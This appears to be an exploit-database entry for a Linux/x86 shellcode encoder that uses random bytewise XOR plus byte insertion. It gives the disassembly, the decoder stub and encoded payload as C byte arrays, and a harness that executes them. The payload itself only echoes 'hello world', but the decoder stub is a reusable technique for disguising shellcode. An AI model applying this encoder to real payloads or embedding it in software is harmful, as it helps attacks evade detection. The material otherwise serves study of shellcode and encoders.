linuxx86 echo "hello world" + random bytewise xor + insertion encoder shellcode (54 bytes)

				
/* 
# Title: Linux/x86 - Random Bytewise XOR + Insertion Encoder Shellcode (54 bytes)
# Date: 2018-09-13
# Author: Ray Doyle (@doylersec)
# Homepage: https://www.doyler.net
# Tested on: Linux/x86
# gcc -o xor_encoded_shellcode -z execstack -fno-stack-protector xor_encoded_shellcode.c 
*/

/****************************************************
Disassembly of section .text:

08048060 <_start>:
 8048060:	eb 2f                	jmp    8048091 <find_address>

08048062 <decoder>:
 8048062:	5f                   	pop    edi
 8048063:	57                   	push   edi
 8048064:	5e                   	pop    esi

08048065 <get_key>:
 8048065:	8a 07                	mov    al,BYTE PTR [edi]
 8048067:	6a 90                	push   0xffffff90
 8048069:	5b                   	pop    ebx
 804806a:	3c aa                	cmp    al,0xaa
 804806c:	74 0a                	je     8048078 <decode_insertion>
 804806e:	30 d8                	xor    al,bl

08048070 <decode_xor>:
 8048070:	30 07                	xor    BYTE PTR [edi],al
 8048072:	47                   	inc    edi
 8048073:	30 07                	xor    BYTE PTR [edi],al
 8048075:	47                   	inc    edi
 8048076:	eb ed                	jmp    8048065 <get_key>

08048078 <decode_insertion>:
 8048078:	8d 3e                	lea    edi,[esi]
 804807a:	31 c0                	xor    eax,eax
 804807c:	31 db                	xor    ebx,ebx

0804807e <insertion_decoder>:
 804807e:	8a 1c 06             	mov    bl,BYTE PTR [esi+eax*1]
 8048081:	80 f3 90             	xor    bl,0x90
 8048084:	75 10                	jne    8048096 <encoded>
 8048086:	8a 5c 06 01          	mov    bl,BYTE PTR [esi+eax*1+0x1]
 804808a:	88 1f                	mov    BYTE PTR [edi],bl
 804808c:	47                   	inc    edi
 804808d:	04 02                	add    al,0x2
 804808f:	eb ed                	jmp    804807e <insertion_decoder>

08048091 <find_address>:
 8048091:	e8 cc ff ff ff       	call   8048062 <decoder>

08048096 <encoded>:
 8048096:	b7 cc                	mov    bh,0xcc
 8048098:	3d ba 0a ab f3       	cmp    eax,0xf3ab0aba
 804809d:	a3 9b bb 01 95       	mov    ds:0x9501bb9b,eax
 80480a2:	75 d4                	jne    8048078 <decode_insertion>
 80480a4:	bc f7 fa d9 1c       	mov    esp,0x1cd9faf7
 80480a9:	8d                   	(bad)  
 80480aa:	d5 1c                	aad    0x1c
 80480ac:	f7 56 73             	not    DWORD PTR [esi+0x73]
 80480af:	31 ef                	xor    edi,ebp
 80480b1:	cd a9                	int    0xa9
 80480b3:	34 12                	xor    al,0x12
 80480b5:	4f                   	dec    edi
 80480b6:	50                   	push   eax
 80480b7:	40                   	inc    eax
 80480b8:	71 d0                	jno    804808a <insertion_decoder+0xc>
 80480ba:	94                   	xchg   esp,eax
 80480bb:	c4                   	(bad)  
 80480bc:	f7 d7                	not    edi
 80480be:	7f ee                	jg     80480ae <encoded+0x18>
 80480c0:	62                   	(bad)  
 80480c1:	c3                   	ret    
 80480c2:	48                   	dec    eax
 80480c3:	03 d3                	add    edx,ebx
 80480c5:	8e 76 66             	mov    ?,WORD PTR [esi+0x66]
 80480c8:	2c 54                	sub    al,0x54
 80480ca:	0c 78                	or     al,0x78
 80480cc:	05 6a 37 58 e4       	add    eax,0xe458376a
 80480d1:	8b dc                	mov    ebx,esp
 80480d3:	04 3b                	add    al,0x3b
 80480d5:	ce                   	into   
 80480d6:	b6 4a                	mov    dh,0x4a
 80480d8:	af                   	scas   eax,DWORD PTR es:[edi]
 80480d9:	53                   	push   ebx
 80480da:	59                   	pop    ecx
 80480db:	a6                   	cmps   BYTE PTR ds:[esi],BYTE PTR es:[edi]
 80480dc:	b5 05                	mov    ch,0x5
 80480de:	f7 30                	div    DWORD PTR [eax]
 80480e0:	15 ea eb 09 9c       	adc    eax,0x9c09ebea
 80480e5:	60                   	pusha  
 80480e6:	e4 10                	in     al,0x10
 80480e8:	7d cc                	jge    80480b6 <encoded+0x20>
 80480ea:	56                   	push   esi
 80480eb:	cc                   	int3   
 80480ec:	aa                   	stos   BYTE PTR es:[edi],al
****************************************************/

#include<stdlib.h>
#include<stdio.h>
#include<string.h>

unsigned char stub[] = \
"\xeb\x31\x5f\x57\x5e\x8a\x07\x6a\x90\x5b\x3c\xaa\x74\x0a\x30\xd8\x30\x07\x47\x30\x07\x47\xeb\xed\x8d\x3e\x31\xc0\x31\xdb\x8a\x1c\x06\x80\xf3\x90\x75\x12\x8a\x5c\x06\x01\x88\x1f\x47\x04\x02\xeb\xed\xff\xe6\xe8\xca\xff\xff\xff";

unsigned char shellcode[] = \
"\xb7\xcc\x3d\xba\x0a\xab\xf3\xa3\x9b\xbb\x01\x95\x75\xd4\xbc\xf7\xfa\xd9\x1c\x8d\xd5\x1c\xf7\x56\x73\x31\xef\xcd\xa9\x34\x12\x4f\x50\x40\x71\xd0\x94\xc4\xf7\xd7\x7f\xee\x62\xc3\x48\x03\xd3\x8e\x76\x66\x2c\x54\x0c\x78\x05\x6a\x37\x58\xe4\x8b\xdc\x04\x3b\xce\xb6\x4a\xaf\x53\x59\xa6\xb5\x05\xf7\x30\x15\xea\xeb\x09\x9c\x60\xe4\x10\x7d\xcc\x56\xcc\xaa";

unsigned char* code;

main()
{
    printf("\nStub Length: %d\n", strlen(stub));
    printf("Shellcode Length: %d\n\n", strlen(shellcode));

    printf("Total Length: %d\n\n", strlen(stub) + strlen(shellcode));

    code = malloc(strlen(stub) + strlen(shellcode));
    memcpy(code, stub, strlen(stub));
    memcpy(&code[strlen(stub)], shellcode, strlen(shellcode));

    int (*ret)() = (int(*)())code;

    ret();
}
            
				

Linuxx86 echo "hello world" + random bytewise xor + insertion encoder shellcode (54 bytes) Vulnerability / Exploit Source : Linuxx86 echo "hello world" + random bytewise xor + insertion encoder shellcode (54 bytes)